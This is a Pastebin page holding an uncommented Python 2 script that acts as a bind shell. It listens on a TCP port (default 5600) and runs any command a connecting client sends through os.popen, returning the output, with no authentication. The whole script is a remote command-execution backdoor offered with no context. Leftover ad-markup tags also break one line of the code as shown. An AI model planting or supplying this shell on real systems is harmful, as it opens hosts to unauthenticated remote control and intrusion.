Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, os, sys
- try:
- try:
- port = int(sys.argv[2])
- except:
- port = 5600
- try:
- ip = sys.argv[1]
- except:
- ip = "127.0.0.1"
- host = (ip, port)
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.bind(host)
- sock.listen(1)
- while True:
- client, <span id="IL_AD3" class="IL_AD">addr</span> = sock.<span id="IL_AD2" class="IL_AD">accept</span>()
- client.send(os.getcwd()+"> ")
- while True:
- cmd = client.recv(1024)
- ter = os.popen(cmd)
- res = ""
- for line in ter:
- res+=line
- client.send(res+os.getcwd()+"> ")
- except KeyboardInterrupt:
- try:
- client.send("\n\nConnection closed... Goodbye...\n")
- except:
- pass
- sock.close()
- except socket.error:
- client.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement